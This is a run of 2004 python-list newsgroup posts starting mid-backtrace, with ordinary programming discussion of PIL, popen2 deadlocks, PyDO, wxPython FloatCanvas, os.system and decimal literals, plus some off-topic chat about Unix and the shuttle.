(f=0xa22c044) at Python/ceval.c:2116 #7 0x08148cad in fast_function (func=0x535c5da4, pp_stack=0xbfffbb94, n=1, na=1, nk=0) at Python/ceval.c:3518 #8 0x08148aa2 in call_function (pp_stack=0xbfffbb94, oparg=0) at Python/ceval.c:3458 #9 0x08145076 in eval_frame (f=0xc17b824) at Python/ceval.c:2116 #10 0x08148cad in fast_function (func=0x535ba714, pp_stack=0xbfffbd24, n=1, na=1, nk=0) at Python/ceval.c:3518 #11 0x08148aa2 in call_function (pp_stack=0xbfffbd24, oparg=0) at Python/ceval.c:3458 #12 0x08145076 in eval_frame (f=0xc176f64) at Python/ceval.c:2116 #13 0x08146e76 in PyEval_EvalCodeEx (co=0x5353b188, globals=0x5352f534, locals=0x0, args=0x4060e6d8, argcount=1, kws=0x0, kwcount=0, defs=0x0, defcount=0, closure=0x0) at Python/ceval.c:2663 #14 0x08198781 in function_call (func=0x53618c64, arg=0x4060e6c4, kw=0x0) at Objects/funcobject.c:504 #15 0x080eac4f in PyObject_Call (func=0x53618c64, arg=0x4060e6c4, kw=0x0) at Objects/abstract.c:1755 #16 0x080f2bc9 in instancemethod_call (func=0x53618c64, arg=0x4060e6c4, kw=0x0) at Objects/classobject.c:2433 #17 0x080eac4f in PyObject_Call (func=0x55aaf734, arg=0x4060e6c4, kw=0x0) at Objects/abstract.c:1755 #18 0x081485f0 in PyEval_CallObjectWithKeywords (func=0x55aaf734, arg=0x4060e6c4, kw=0x0) at Python/ceval.c:3346 #19 0x080eac1e in PyObject_CallObject (o=0x55aaf734, a=0x4060e6c4) at Objects/abstract.c:1746 #20 0x0806d9df in pbCallMethod (instance=0xba30858, method=0xc132460, brArguments=0x0, result=0xbfffc1ac) at pybreve.c:111 #21 0x080925c2 in brMethodCall (i=0xba30858, m=0xc132460, args=0x0, result=0xbfffc1ac) at breveObjectAPI.c:119 #22 0x080919cc in brEngineIterate (e=0x81f9a10) at engine.c:430 #23 0x0806e845 in brGlutLoop () at breve.c:243 #24 0x401bbc67 in glutMainLoop () from /usr/lib/libglut.so.3 #25 0x0806e738 in main (argc=3, argv=0xbfffeac4) at breve.c:201 Any idea what the problem may be? Thanks, Laurie From squirrel at WPI.EDU Wed Sep 1 22:23:40 2004 From: squirrel at WPI.EDU (Christopher T King) Date: Wed, 1 Sep 2004 22:23:40 -0400 Subject: I've seen things you people wouldn't believe... ;-) (was Re: age of Python programmers) In-Reply-To: References: <20040819231139.D039A1E4003@bag.python.org> <896dnZfdH8-l1rbcRVn-qw@powergate.ca> Message-ID: On Thu, 2 Sep 2004, Christopher Koppler wrote: > On Wed, 01 Sep 2004 11:54:41 -0400, Christopher T King wrote: > > > If you want a story though, I interned at a Windows shop these past two > > summers, where all their programming was done in VB embedded in Word > > documents, or in a third-party supplied castrated version of VB (on the PC > > That didn't just happen to be (expletive deleted) SAX Basic? Nope. It was a scripting language for a suite of (better left nameless) database software. It was basically VB without all the constructs Microsoft added to make it usable (the Array() function comes to mind). To top it off, the applications' COM interfaces were horrible (similar programs had wildly different APIs, both 0- and 1-based indexing were arbitrarily used, things that worked in the application didn't work in COM, etc.). From john.thingstad at chello.no Sat Sep 4 17:37:11 2004 From: john.thingstad at chello.no (John Thingstad) Date: Sat, 04 Sep 2004 23:37:11 +0200 Subject: Xah Lee's Unixism References: <10jc7cu7e57koaa@corp.supernews.com> <20040901.2343.57633snz@dsl.co.uk> <41376B82.C6A202FC@yahoo.com> <0g0fj0dvbthf0cj224bdt6ikqsv2vs5jlb@4ax.com> <8K0_c.2928$lv3.518794@news4.srv.hcvlny.cv.net> <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com> <1094257487.855439@teapot.planet.gong> <1094285694.404322@teapot.planet.gong> <1bpt51alai.fsf@cs.nmsu.edu> Message-ID: On 04 Sep 2004 13:25:41 -0600, Joe Pfeiffer wrote: >> "Rupert Pigott" wrote in >> message news:1094285694.404322 at teapot.planet.gong... >> >> > Consider this : If the tables were turned and an Aerojet booster >> > exploded in the sky I'll bet the armchair QBs would be asking why >> > were Aerojet chosen over Morton-Thiokol who had more experience of >> > building large solid-fuel rockets. > > However, it would certainly not have failed at the segment joints. > > The more I read sci.space.tech the more convinced I am that the whole > shuttle concept was fundamentally flawed from the beginnin g.Putting > the orbiter next to (rather than on top of) the huge tank of high > explosive is not a good idea. Reentry from orbit is not the same as > flying an airplane; ablative heat shields work and work well. I second that. Making a space veicle look like a plane is a lame idea. It makes launch more complicated because the lift of the wings gives force and this has to be continously compenated for by rotating the veicle. (Does "roger, roll" ring a bell) During reentry the wing surfaces and other protruding objects adds to the heat signature and adds to the risc. (I think the Columia disaster illustrates this.) The only time the plane shape makes sense is for the last 4 last minutes of a mission. For this I think parachutes would be a better option. In short it adds risk for very little gain. The real reason NASA thought a plane would be great is because all the astronaughts are previous test pilots. And, well, they like planes. Ideally a space reentry veicle should look as much as a drop as possible and should enter with the butt end. (Minimum air drag.) Instead of fighting nature they should be using it.. This minimizes risc. -- Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/ From ksenia at ksenia.nl Sun Sep 19 02:10:20 2004 From: ksenia at ksenia.nl (Ksenia Marasanova) Date: Sun, 19 Sep 2004 09:10:20 +0300 Subject: Question: tools for business apps development In-Reply-To: References: <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> <864d370904090606465938fea5@mail.gmail.com> <2qavr3Ft7dgdU1@uni-berlin.de> Message-ID: <95E6D9A0-0A02-11D9-BEDA-000A957911BC@ksenia.nl> >> -- Philosophically thinking, it's not free so it should not be used. >> This a Stalmanish position, but it does have some power in the context >> of a decision to use only free tools. > > The player is free. And while the ability to create Flash files > is also free, it's true that currently there are few useful tools > to do that, and the alternatives are not only not free, but in > some cases are rather expensive (especially compared to where the > price of development tools has come in recent years). I suspect > that as Macromedia finds more of a market amongst developers for > this sort of thing (as Dan suggests they are doing) they may > discover that charging $500 for the development side isn't going to > get them much of the market. Maybe something less "flashy" and > more staid and serious for more like $50-200 would get them into > that area much more rapidly. > Unfortunatelly, the price of Macromedia's latest (and greatest, I think) development tool is very high - $12000. The name is Flex: http://www.macromedia.com/software/flex/ Ksenia. From jmfbahciv at aol.com Fri Sep 3 06:47:32 2004 From: jmfbahciv at aol.com (jmfbahciv at aol.com) Date: Fri, 03 Sep 04 10:47:32 GMT Subject: Xah Lee's Unixism References: <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> Message-ID: <41385e9b$0$19713$61fed72c@news.rcn.com> In article , "John Thingstad" wrote: >On Thu, 02 Sep 2004 16:13:20 -0700, Alan Balmer wrote: > >> On Fri, 03 Sep 2004 00:40:14 +0200, "John Thingstad" >> wrote: >> >>> well documented at the time. Linux Pauling started out with minix and >>> then >>> went on to make a (mostly) posix compliant unix. >> >> Linux Pauling? I know about Linus Torvalds and Linus Pauling . I don't >> think the latter had much to do with Linux. >> > >lol.. oops. No Pauling was a nobel prize winning chemist. >No idea why that came out. (assosiative memory can be a bich) > The guys figured it out. You have an interested associative memory :-). /BAH Subtract a hundred and four for e-mail. From erik at heneryd.com Mon Sep 13 19:53:41 2004 From: erik at heneryd.com (Erik Heneryd) Date: Tue, 14 Sep 2004 01:53:41 +0200 Subject: PIL - setting the width of lines in ImageDraw In-Reply-To: References: <4145fc21$0$273$edfadb0f@dread12.news.tele.dk> Message-ID: <41463305.5020800@heneryd.com> Larry Bates wrote: > There's nothing wrong with "slanted" rectangles. > In PIL you just define upper left and lower right > coordinates of the rectangle in pixels. That's > what a thick line would do anyway. Really? Didn't know that. Please show me how. Erik From apardon at forel.vub.ac.be Thu Sep 2 07:38:55 2004 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 2 Sep 2004 11:38:55 GMT Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> <1rk6vkeo5d.fsf@rovereto.ifi.uio.no> <87hdqok9i6.fsf@sinken.local.csis.hku.hk> <1rfz68ely9.fsf@rovereto.ifi.uio.no> <876574k7du.fsf@sinken.local.csis.hku.hk> <1r3c28ejis.fsf@rovereto.ifi.uio.no> <1rllg0cb3m.fsf@rovereto.ifi.uio.no> <874qmovxna.fsf@sinken.local.csis.hku.hk> <87zn49sdtx.fsf@sinken.local.csis.hku.hk> Message-ID: Op 2004-09-02, Isaac To schreef : >>>>>> "Antoon" == Antoon Pardon writes: > > Antoon> If you need a function or class just to avoid nesting, > Antoon> then IMO you have only camoeflaged it. In order to > Antoon> understand what is going on you still need to understand > Antoon> how the nesting of a number of controls prroduce a certain > Antoon> result and when you write a function just to avoid nesting > Antoon> it often enough makes readablity harder. > > Splitting a deeply nested function in the wrong way can make a program > harder to understand. But that doesn't mean that in such case what > you should do is to leave it as is. It's the comparsion of something > bad with something that is just as bad. In either way that is bad: > the program is easy enough to understand only by the original writer, > and only at the instant when the code is written. I think the respondent here are missing the point. I have fond specific nested code which was easier to understand when the nesting was ended by an endmarker then when it was not. Now should I conclude that all such code is nested too deeply and should be decomposed in subfunctions? Because that is the impression I'm getting from the answers here. Or is there a problem in accepting that such code exists? Now if we accept that such code exists and it doesn't imply the code is nested too deeply, I have the following question. Python seems to do its best so that there is only one way to do things. Python seems also to do its best force people to write readable easily maintainable code. Since end markers can be a tool in this and the only way to have only one way to do this is if the language includes it, So why doesn't python has them. -- Antoon Pardon From http Sun Sep 19 15:40:38 2004 From: http (Paul Rubin) Date: 19 Sep 2004 12:40:38 -0700 Subject: Math errors in python References: <70b3d.1822$uz1.747@trndny03> <7xfz5ein0h.fsf@ruckus.brouhaha.com> <1gkdk3g.3ivp7amnqsw1N%aleaxit@yahoo.com> Message-ID: <7xwtyqvyh5.fsf@ruckus.brouhaha.com> aleaxit at yahoo.com (Alex Martelli) writes: > Yes, but applying rational arithmetic by default might slow some > computations far too much for beginners' liking! I dunno, lots of Lisp dialects do rational arithmetic by default. > > Well, you can pretty easily use constructive reals with Python, see for > example -- that's a > vastly vaster set than just algebraic numbers. If we DO want precision, > after all, why should sqrt(5) be more important than log(3)? I don't know that it's generally tractable to do exact computation on constructive reals. How do you implement comparison (<, >, ==)? From kjetilho at yksi.ifi.uio.no Mon Sep 27 20:53:05 2004 From: kjetilho at yksi.ifi.uio.no (Kjetil Torgrim Homme) Date: Tue, 28 Sep 2004 02:53:05 +0200 Subject: Optimizing tips for os.listdir References: Message-ID: <1rfz531afi.fsf@glesvat.ifi.uio.no> [Nick Craig-Wood]: > > [Thomas]: > > > > I'm doing this : > > > > [os.path.join(path, p) for p in os.listdir(path) \ > > if os.path.isdir(os.path.join(path, p))] > > Under a unix based OS the above will translate to 1 > opendir()/readdir()/closedir() and 1 stat() for each file. There > isn't a quicker way in terms of system calls AFAIK. there's a well known trick for Unix file systems[1]: if a directory has a link count of exactly 2, there are no subdirectories. if there was a subdirectory, it would contain a ".." refering to its parent, thereby raising the parent's link count to 3. (it's not clear to me whether this is helpful for the OP, though.) [1] the behaviour is not mandated by POSIX. e.g., a mounted ISO 9660-file system will not necessarily obey this "rule". GNU find relies on it unless you explicitly specify "-noleaf", so it works pretty well in practice. -- Kjetil T. From smulloni at gmail.com Tue Sep 7 11:52:34 2004 From: smulloni at gmail.com (Jacob Smullyan) Date: 7 Sep 2004 08:52:34 -0700 Subject: Deleting rows using PyDO from SkunkWeb References: Message-ID: <73d143a0.0409070752.26795880@posting.google.com> Marcin Jurczuk wrote in message news:... > Hello group. > Could someone descripe how to delete many row at one time > from MySQL database using SkunkWeb PyDO pacgage ?? > Documentation is very short about that ... > Assume that Base is class define like in PyDO doc, so > Base.new(...) adds new row.. > Documetation show ony delete() without any arguments. > SQL query is like "DELETE FROM SESSIONS WHERE acc_time < '398984353'" I just came across this by accident; PyDO questions are better asked on the skunkweb mailing list. But to answer it quickly -- the delete() method deletes a particular instance (one row). If you want delete a range of rows with a single SQL statement, the best way is simply to use SQL, accessing the underlying db connection: c=Sessions.getDBI().conn.cursor() c.execute("DELETE FROM SESSIONS WHERE acc_time < '333333'") # this is equivalent to Sessions.getDBI().conn.commit() Sessions.commit() Hope that helps, Jacob Smullyan From Chris.Barker at noaa.gov Tue Sep 14 20:05:05 2004 From: Chris.Barker at noaa.gov (Christopher Barker) Date: Tue, 14 Sep 2004 17:05:05 -0700 Subject: WxInter In-Reply-To: References: Message-ID: Brian Elmegaard wrote: > Eric Brunel writes: >>quite far from it: I didn't see any means to move canvas items >>individually, or group them with tags, or knowing which items are at a >>given position, all things a tk canvas can do very easily... > > You can. Have a look at pySketch which comes with wx as one of the > sample apps. Well, pySketch does a lot of that, but it wasn't easy, and I don't thin the code was written in a way that it would be easy to just use it in your own app. >>canvas item is just a bunch of points. In tk, it remains a whole item >>which can be manipulated as a whole. Basically, in tk, canvases are >>for vector drawing; in other toolkits, they're more for bitmap >>drawing. And this makes quite a difference... Check out my FloatCanvas for wxPython: http://home.comcast.net/~chrishbarker/FloatCanvas/ It's also in the wxPython lib and demo in recent versions. Sorry I don't have a nifty page describing it, but there is a demo that comes with it. It does do most of what that TK canvas does, with a few exceptions: 1) no tags, but you can put a bunch of FloatCanvas DrawObjects in a list, and manipulate them that way. I really haven't seen that tags are that useful, but if you think so, I'll accept a patch. 2) As the name implies, it works with arbitrary floating point coordinates, scaling them to pixels for you. It then provides full zooming and scrolling. I like this, as I use it to draw data, which is never in pixel coords to begin with. 3) It provides a simple flat-earth projection for map data. 4) the event binding is different, perhaps a little more complex, but also quite powerful. Here's a version of most of your example. wxPython requires a bit more overhead in terms of creating Frame objects, etc, but you'd do that anyway in any but a trivial app: #!/usr/bin/env python2.3 import wx import fixdc from wx.lib.floatcanvas import NavCanvas, FloatCanvas class DrawFrame(wx.Frame): """ A frame used for the FloatCanvas Demo """ def __init__(self,parent, id,title,position,size): wx.Frame.__init__(self,parent, id,title,position, size) # Add the Canvas Canvas = NavCanvas.NavCanvas(self,-1,(500,500), ProjectionFun = None, Debug = 0, BackgroundColor = "DARK SLATE BLUE", ) self.Canvas = Canvas self.circle1 = Canvas.AddCircle(10, 10, 20, FillColor='red') # Event binding on a single item self.circle1.Bind(FloatCanvas.EVT_FC_LEFT_DOWN, self.bindingA) # or to the right button: self.circle1.Bind(FloatCanvas.EVT_FC_RIGHT_DOWN, self.bindingB) ## A group of objects in a list: self.ObjectsList = [] self.ObjectsList.append(Canvas.AddRectangle(30, 30, 30, 20, FillColor = "Blue")) self.ObjectsList.append(Canvas.AddPolygon(((70,40),(80,60),(90,70),(65,80)), FillColor = "Purple")) self.BindAll() self.Show(True) self.Canvas.ZoomToBB() return None def BindAll(self): for object in self.ObjectsList: object.Bind(FloatCanvas.EVT_FC_LEFT_DOWN, self.bindingC) def bindingA(self, event): print "I'm circle1!" def bindingB(self, event): print "I'm circle1 with the right button!" def bindingC(self, event): print "I'm an object in the list!" app = wx.PySimpleApp() DrawFrame(None, -1, "FloatCanvas Demo App", wx.DefaultPosition, (700,700) ) app.MainLoop() Be sure to let me know if you' re using it, I may have fixed bugs since the last release. -Chris -- Christopher Barker, Ph.D. Oceanographer NOAA/OR&R/HAZMAT (206) 526-6959 voice 7600 Sand Point Way NE (206) 526-6329 fax Seattle, WA 98115 (206) 526-6317 main reception Chris.Barker at noaa.gov From roy at panix.com Mon Sep 6 09:10:49 2004 From: roy at panix.com (Roy Smith) Date: Mon, 06 Sep 2004 09:10:49 -0400 Subject: Secure delete with python References: Message-ID: Boris Genc wrote: > Hi everybody. > I was wandering is there a method or a function already implemented in > python that supports secure deletion of data? > > I'm interested in something which is able to securely wipe data (from > single file to bunch of MB's), and that should run both on Linux and > Windows. When people talk about secure deletion of data, they generally mean things like over-writing the physical disk blocks that used to hold the file with random data. The details of how you do this is extremely operating system dependent (and probably also on what kind of file system, hardware, etc). Not to mention that the definition of "secure" will vary with the type of data, and who's doing it (i.e. what I consider secure probably doesn't pass muster with the military). From dperl at rogers.com Wed Sep 1 14:58:42 2004 From: dperl at rogers.com (Dan Perl) Date: Wed, 01 Sep 2004 18:58:42 GMT Subject: initializing mutable class attributes References: <1gjc8cs.sqvo1v1fhabdjN%aleaxit@yahoo.com> <1gje9dn.r6jpetyroi0N%aleaxit@yahoo.com> <8JbZc.140699$UTP.23045@twister01.bloor.is.net.cable.rogers.com> Message-ID: After all this discussion, what do people think about this code? class test(object): def __new__(typ): obj = object.__new__(typ) obj.attr1 = 666 return obj class derived(test): def __init__(self): self.attr2 = 111 d = derived() print d.attr1, d.attr2 print isinstance(d, test) The output: 666 111 True At least it works. The 'test' superclass defines an instance attribute attr1 and it initializes it with a default. The 'derived' subclass inherits the attribute (implicitly, BTW ;-)) and that happens without an __init__ in the superclass that would have to be invoked in the subclass. Dan From peter at engcorp.com Fri Sep 24 16:18:57 2004 From: peter at engcorp.com (Peter Hansen) Date: Fri, 24 Sep 2004 16:18:57 -0400 Subject: Why not FP for Money? In-Reply-To: References: Message-ID: Carlos Ribeiro wrote: > 1) 'd' suffix: a = 10.123d > 2) '$ prefix: a = $10.123 > > Both alternatives are clean and easy to read, even for novices. The > 'd' suffix is closer to what Python does already for longs (the 'L' > suffix). The dollar sign is easily recognized, even outside US, as a > money sign (it would be better for money/fixed point, really). By the way, a huge -1 on using $. Not only does it really only mean "money" in North America, but there's no good reason to use a symbol for money when the concept is much more general than that. Furthermore, the use of a leading $ on literals in programming has a very long history in the world of assembly language programming, where it means hexadecimal, similar to using a trailing h ($12f7 means the same as 12F7h). It would be a significant mistake to pick the dollar sign merely because of the very limited association it has with decimal values. (Note that a trailing d was also sometimes used in assembly, along with trailing h, o, and b, in this case to mean "base 10". Since that was generally the default, the usage was rare and in any case shouldn't conflict with the proposed use here...) -Peter From jeff at ccvcorp.com Tue Sep 28 16:26:19 2004 From: jeff at ccvcorp.com (Jeff Shannon) Date: Tue, 28 Sep 2004 13:26:19 -0700 Subject: os.system vs. Py2Exe In-Reply-To: <81a41dd.0409281107.5fd1c525@posting.google.com> References: <81a41dd.0409280200.1a74edd1@posting.google.com> <77ce170c.0409280647.7e98e76d@posting.google.com> <81a41dd.0409281107.5fd1c525@posting.google.com> Message-ID: <10lji3nso28vge5@corp.supernews.com> Lad wrote: >gjbaker at usa.com (Greg) wrote in message news:<77ce170c.0409280647.7e98e76d at posting.google.com>... > > >>export at hope.cz (Lad) wrote in message news:<81a41dd.0409280200.1a74edd1 at posting.google.com>... >> >> >>>I used Py2exe to compile my script( I use XP). >>>The compiled script works OK on my XP where Python is installed. >>>But when I install the compiled exe to another computer, >>> >>>os.system >>> >>>causes the following error: >>>Bad file or command name >>> >>>Any help would be appreciated. >>>Lad >>> >>> >>Did you install the python dll as well? >> >> > >Yes, I installed all files( I think) because everything else works. > Only os.system does NOT. >I use os.system to open txt file.I use it like os.system('Myfile.txt') > >When I use os.startfile instead of os.system it works well. > > I suspect that the situation here is that you've got some unusual WinXP setting that's telling it that .txt files are executable in some way. If os.system('file.txt') works on your system, then it's your system that's the odd one; Python (and the other computer) are behaving as expected. (It's possible, in Win2K/WinXP, to register particular extensions as 'executable' through a specific other program; this is how .py scripts are handled, so typing 'script.py' is equivalent to typing 'python script.py'.) Remember, os.system() is roughly equivalent to typing the argument at a command line. Does typing "myfile.txt" at a commandline prompt open that file in a text editor? (Hint -- it shouldn't, under normal circumstances.) In this case, I'm pretty sure that using os.startfile() is the appropriate way of doing what you want. Jeff Shannon Technician/Programmer Credit International From gerrit at nl.linux.org Sat Sep 11 05:57:22 2004 From: gerrit at nl.linux.org (Gerrit) Date: Sat, 11 Sep 2004 11:57:22 +0200 Subject: PEP 335: Overloadable Boolean Operators - Official Posting In-Reply-To: <41419A03.90506@sympatico.ca> References: <2qccb9Fuac61U1@uni-berlin.de> <41419A03.90506@sympatico.ca> Message-ID: <20040911095722.GA25280@nl.linux.org> Colin J. Williams wrote: > I understand that the intent, eventually, is that the basic types become > classes. > > Would making Bool a class permit the achievement of these objectives? > > If Bool were a class, then subclasses could use __repr__ to provide > alternative responses to False/True, such as No/Yes or Fail/OK. No, this has nothing to do with it. The representation is not the issue. The issue is that currently, 'a and b' returns either a or b. Suppose we have an array A = [a1, b1, c1], B = [a2, b2, c2], A and B will currently always return A. However, we may want it to return [a1 and a2, b1 and b2, c1 and c2]. That is what this PEP is about. The lack op ability to subclass bool is something different. I don't know why that is. regards, Gerrit. -- Weather in Twenthe, Netherlands 11/09 11:25: 19.0?C wind 4.0 m/s SSW (57 m above NAP) -- Gerrit Holl - 2nd year student of Applied Physics, Twente University, NL. Experiences with Asperger's Syndrome: EN http://topjaklont.student.utwente.nl/english/ NL http://topjaklont.student.utwente.nl/ From osuchw at ecn.ab.ca Sun Sep 5 20:38:19 2004 From: osuchw at ecn.ab.ca (Waldemar Osuch) Date: Mon, 06 Sep 2004 00:38:19 GMT Subject: =?iso-8859-2?q?Przysz=B3o=B6=E6_modu=B3u_string?= In-Reply-To: <1os34tkrht5f4.337kwncvqo41$.dlg@40tude.net> References: <1os34tkrht5f4.337kwncvqo41$.dlg@40tude.net> Message-ID: <%jO_c.325351$gE.240400@pd7tw3no> I think you meant to send the message to pl.comp.lang.python but I will try to answer it anyway. Nie sadze ze wielu ludzi na comp.lang.python zrozumialo o co sie pytasz :-). JZ wrote: > zastanawia mnie w jaki spos?b omin?? > korzystanie z tego modu?u podczas korzystania z map(): > > from string import upper > low = ['a', 'b', 'c'] > high = map(upper, low) Mozna tak: low = ['a','b','c'] map(str.upper, low) ['A', 'B', 'C'] waldek From adalke at mindspring.com Tue Sep 21 16:04:07 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Tue, 21 Sep 2004 20:04:07 GMT Subject: Python 3.0, rich comparisons and sorting order In-Reply-To: References: <864d370904092109509df67ee@mail.gmail.com> <20040921173455.GB2891@unununium.org> Message-ID: [Sorry, hit 'Send' by accident] Phil Frost wrote: > The right question here is, "is there a reason for mappings with > heterogeneous key types?" It's not something that I do often, but it's > something that's important to have. Dynamic typing is a good thing. Though it's a different question. mapping keys only need to define __hash__ and __eq__. That's easier than defining an ordering. Andrew dalke at dalkescientific.com From forestiero at qwest.net Mon Sep 13 17:32:41 2004 From: forestiero at qwest.net (DogWalker) Date: Mon, 13 Sep 2004 14:32:41 -0700 Subject: up/down arrows in 2.3.4 interactiv References: Message-ID: Besides the good advice from others you might want to do the following: [1] Read the readme well! Especially the section about building. [2] Run configure like this: configure >configure.log 2>&1 [3] Open config.log and configure.log in a word processor and search for "no" and "fail" (this will tell you what the configure's view of your world is: such as it cannot find some module's headers and other anomalies. You'll have to fix the problems with modules you want to use. [4] do the same thing with make. A python gets along without arms, legs and batteries, but Python doesn't do well at all. "Jerald" wrote in message news:ci4i04$1h1v$1 at ulysses.noc.ntua.gr... > Hi. > > I've just installed 2.3.4 from the source on a linux box. > In the interactive mode, up/down arrows do not work. > When I press 'up' python prints '^[[A' and down gives '^[[B' > What is wrong? > > Thanks, > > Gerald > -- > http://mail.python.org/mailman/listinfo/python-list > From espen at *do-not-spam-me*.vestre.net Fri Sep 3 08:13:07 2004 From: espen at *do-not-spam-me*.vestre.net (Espen Vestre) Date: Fri, 03 Sep 2004 14:13:07 +0200 Subject: Xah Lee's Unixism References: <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <41376DCA.B833324A@yahoo.com> <41385f7f$0$19713$61fed72c@news.rcn.com> Message-ID: jmfbahciv at aol.com writes: > V3? I thought V4 was their last good one before they started to > put apps into execmode. 3.51 was the last good one. -- (espen) From jzgoda at gazeta.usun.pl Sun Sep 5 13:10:10 2004 From: jzgoda at gazeta.usun.pl (Jarek Zgoda) Date: Sun, 5 Sep 2004 17:10:10 +0000 (UTC) Subject: Linux application deployment References: <413B2D73.3010106@cs.com> Message-ID: Grant Edwards pisze: >> import sys, os >> >> me = os.path.abspath(sys.argv[0]) > > That's only mostly reliable. Nothing in Linux/Unix actually requires that > argv[0] be the program's path. It is the convention to pass that as > argv[0], but there may be corner cases where it doesn't work. Based on Python docs: """ argv The list of command line arguments passed to a Python script. argv[0] is the script name (it is operating system dependent whether this is a full pathname or not). If the command was executed using the -c command line option to the interpreter, argv[0] is set to the string '-c'. If no script name was passed to the Python interpreter, argv has zero length. """ http://docs.python.org/lib/module-sys.html In my opinion, this would be enough to get full path of currently running program, if run from script. Are there any caveats (except this "-c" option, which I don't count, as is not relevant in most cases)? -- Jarek Zgoda http://jpa.berlios.de/ From tim.golden at viacom-outdoor.co.uk Thu Sep 30 10:06:13 2004 From: tim.golden at viacom-outdoor.co.uk (Tim Golden) Date: Thu, 30 Sep 2004 15:06:13 +0100 Subject: python connection to mssql from windows box Message-ID: [Josh Close] | I use the Sybase module by object-craft for linux/python connections | to mssql, and I refuse to use the mssql module due to these things | listed on the main mssql page... [... snip stuff from web ...] Your choice indeed. However, I have been using this module on Windows for three years now across several different versions of Python and SQL Server and Windows without any problems, without a single crash or example of unexpected behaviour. Obviously you know your own needs better than me, but for my needs the absence of params means %-ing params into the string, the absence of callproc means passing "EXECUTE ..." into the execute method and the absence of commit/rollback means passing "COMMIT" into the execute method, none of which I find overly cumbersome, especially since I can (and do) easily wrap them in a helper module. | So basically it *kind of* works, but not well. I'm talking about | native windows module that uses the client tools api. Not entirely sure what you mean by a "native windows module" -- if you mean something supplied my Microsoft, then ADO / ODBC are your only bets. If you simply mean something which calls into ntwdblib.dll to access MSSQL, well this module does that. There is also a pymssql at http://pymssql.sourceforge.net/ which I downloaded recently but couldn't get to connect. However someone else on this list seemed pleased with it at the time, IIRC. TJG ________________________________________________________________________ This e-mail has been scanned for all viruses by Star. The service is powered by MessageLabs. For more information on a proactive anti-virus service working around the clock, around the globe, visit: http://www.star.net.uk ________________________________________________________________________ From hercules.rockefeller at springfield.??.us Mon Sep 27 15:22:25 2004 From: hercules.rockefeller at springfield.??.us (Rembrandt Q Einstein) Date: Mon, 27 Sep 2004 15:22:25 -0400 Subject: Trouble with popen2 In-Reply-To: <0DZ5d.6$Za.5@llslave.llan.ll.mit.edu> References: <0DZ5d.6$Za.5@llslave.llan.ll.mit.edu> Message-ID: Rembrandt Q Einstein wrote: > I am running an external command and I need to know a) when it is done > and b) what it wrote to both stdout and stderr. After a little > searching, I found the popen2 module and used the Popen3 class. I'm > having trouble with it hanging, though. > > Here is a very well put (by someone else) posting that describes some > background: > > http://mail.python.org/pipermail/python-list/2004-July/230837.html > > I came to a similar conclusion as that poster and his workaround > (independently discovered by me) does do the job he requires. However, > I need to also read stderr, so I made this sample writer and runner: > > ------- > #!/usr/bin/python > > import sys > > for line in range(0, int(sys.argv[1])): > print "X" * 120 > > print >>sys.stderr, "hi" > ------- > #!/usr/bin/python > > import popen2 > > f = popen2.Popen3("./writer.py 50000", True) > outs = [] > errs = [] > while (f.poll() == -1): > errs += f.childerr.readlines() > outs += f.fromchild.readlines() > ----- > > > This hangs in the childerr.readlines(). Is it blocking? If so, why? In > any case, how can I be sure to read ALL data from BOTH stderr and stdout > and not be in danger of hanging? > > > PS: I just found that if I swap the order of the readlines() statements, > it works. But I don't want to use that until I understand why. I > suspect it's a race condition and I don't want to rely on that. It's possible that when I have child.readlines() first, it consumes all 50000 output lines and then err.readlines() grabs the "hi" and it just exists. When I have them the other way, err.readlines() blocks (I thought readlines() was non-blocking, though) and it just hangs. My real external program isn't nice enough to order the output like that, so here's a more realistic writer: ------------- #!/usr/bin/python import sys import math for i in range(0, int(sys.argv[1])): if math.fmod(i, 100) == 0: print >>sys.stderr, "hi" print >>sys.stdout, "X" * 120 ---- The challenge is to write a program that will run this one in a subprocess and read all of both stderr and stdout. From nobody at hotmail.com Fri Sep 24 17:43:29 2004 From: nobody at hotmail.com (Maboroshi) Date: Fri, 24 Sep 2004 14:43:29 -0700 Subject: Open Education in Python Message-ID: <10l959t466bgde8@corp.supernews.com> Hi I was interested in starting an online open education center focusing on the Python language. This center would consist of beginning to advanced computer science courses using the programming language Python its primary goal would be to create a community of students and teachers who actively discuss in newsgroups write articles give online lectures and more. How it would work: It would work on a what you put into the community is what you get out of it bases. No money would be collected This has not been entirely thought out as I am just putting the feelers out and want to see what the python community thinks about it. Any ideas questions comments should be addressed to maboroshiATdccnetDOTcom or posted to this message Cheers Andrew From steve at holdenweb.com Mon Sep 20 07:33:51 2004 From: steve at holdenweb.com (Steve Holden) Date: Mon, 20 Sep 2004 07:33:51 -0400 Subject: MAC address In-Reply-To: References: <1095663115.414e7e0b675e4@www-mail.usyd.edu.au> <200409201005.25963.heikowu@ceosg.de> Message-ID: Ajay wrote: > Quoting Heiko Wundram : > > [...changing MAC address under Linux ...]> > > thanks > its actually windows that i would like to find out about. > what i am trying to do is to anonymize client address by picking a random > MAC address and using that instead > You do understand, I presume, that your MAC address never travels off your LAN anyway? When packets are routed to other networks they will be encapsulated by other devices, so while the IP (network-layer) addressing remains the same over all hops, the originating device's MAC address is removed the first time the packet is routed. regards Steve From claird at lairds.us Sun Sep 19 17:08:08 2004 From: claird at lairds.us (Cameron Laird) Date: Sun, 19 Sep 2004 21:08:08 GMT Subject: Determining if a client PC has an Internet connection References: Message-ID: <0q7122-0q3.ln1@lairds.us> In article , Cliff Wells wrote: >On Sun, 2004-09-19 at 09:03 +0000, Chris S. wrote: . . . >So... is there a way of determining the DNS search path of a PC? . . . This, like everything else in the current thread, will end up being more heuristic than definitive; worse, it's OS-specific. I hope the comp.protocols* experts can answer more precisely than I. From bhk at dsl.co.uk Fri Sep 3 21:40:26 2004 From: bhk at dsl.co.uk (Brian {Hamilton Kelly}) Date: Sat, 04 Sep 2004 02:40:26 +0100 (BST) Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> 